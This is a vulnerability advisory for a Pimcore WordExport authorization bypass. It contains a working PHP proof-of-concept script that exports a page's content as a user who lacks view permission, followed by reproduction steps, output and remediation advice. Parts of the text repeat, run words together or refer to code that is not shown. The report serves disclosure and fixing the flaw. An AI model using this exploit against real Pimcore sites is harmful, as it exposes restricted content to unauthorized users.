In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:
The controller only performs a feature-level permission check before starting the export flow:
<?php
declare(strict_types=1);
use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_wordexport');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_wordexport');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
$auditor->setPermissions(['word_export']);
$auditor->setRoles([]);
$auditor->setWorkspacesDocument([]);
$auditor->setWorkspacesAsset([]);
$auditor->setWorkspacesObject([]);
$auditor->save();
$page = Page::getByPath('/poc-wordexport-secret-page');
if (!$page instanceof Page) {
$page = new Page();
$page->setParentId(1);
$page->setKey('poc-wordexport-secret-page');
}
$page->setPublished(true);
$page->setController('App\\Controller\\DefaultController::defaultAction');
$page->setTemplate('default/default.html.twig');
$page->setTitle('POC-WORDEXPORT-TITLE');
$page->setDescription('POC-WORDEXPORT-DESC');
$page->setProperty('language', 'text', 'en', false, true);
$page->setUserOwner($admin->getId());
$page->setUserModification($admin->getId());
$page->save();
$canViewPage = $page->getDao()->isAllowed('view', $auditor);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new WordExportController(), $container, $tokenResolver);
$exportId = 'wordexportpoc1';
$exportRequest = new Request([], [
'id' => $exportId,
'data' => json_encode([
['type' => 'document', 'id' => $page->getId()],
], JSON_THROW_ON_ERROR),
'source' => 'en',
]);
$requestStack->push($exportRequest);
$controller->wordExportAction($exportRequest, new Filesystem());
$requestStack->pop();
$downloadRequest = new Request(['id' => $exportId]);
$requestStack->push($downloadRequest);
$downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
$requestStack->pop();
$wordContent = (string) $downloadResponse->getContent();
echo json_encode([
'vulnerability' => 'wordexport_authorization_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_page' => [
'id' => $page->getId(),
'path' => $page->getFullPath(),
'title' => $page->getTitle(),
'description' => $page->getDescription(),
'user_can_view_page' => $canViewPage,
],
'result' => [
'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
This confirms that the issue is practically exploitable.
Summary
The
WordExportexport flow only checks whether the current backend user has the feature permissionword_export. It does not verify access rights on the target element itself.As a result, a low-privileged backend user can export document content even when the user does not have
viewpermission on that document.In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:
POC-WORDEXPORT-TITLEPOC-WORDEXPORT-DESCRoot Cause
The controller only performs a feature-level permission check before starting the export flow:
It then directly resolves the target element from attacker-controlled
type/idinput:For document-like elements such as
PageandSnippet, it renders content in an admin context:No object-level authorization check such as
isAllowed('view')is enforced on the target element.Affected Scope
Based on the source code, the following element types may be affected:
pagesnippetemailobjectFor page-like documents, the
pimcore_admin = truerendering context may expose additional backend-visible content.Preconditions
word_exportpermissionviewpermission on the target documentReproduction Environment
pimcore-12.3.3-reproReproduction Steps
auditor_wordexportwith only theword_exportpermission and no document workspace permissions./poc-wordexport-secret-pagecontaining sensitive values:title = POC-WORDEXPORT-TITLEdescription = POC-WORDEXPORT-DESCviewpermission on that page.wordExportAction()andwordExportDownloadAction()as that user.Reproduction command:
Reproduction Result
Relevant PoC output:
{ "vulnerability": "wordexport_authorization_bypass", "user": { "name": "auditor_wordexport", "permissions": [ "word_export" ] }, "target_page": { "path": "/poc-wordexport-secret-page", "title": "POC-WORDEXPORT-TITLE", "description": "POC-WORDEXPORT-DESC", "user_can_view_page": false }, "result": { "download_contains_title": true, "download_contains_description": true } }This shows that:
This confirms that the issue is practically exploitable.
Security Impact
Remediation
type/id.viewpermission on the target element.page,snippet,email, andobject.word_exportbut without elementviewpermission cannot export content.References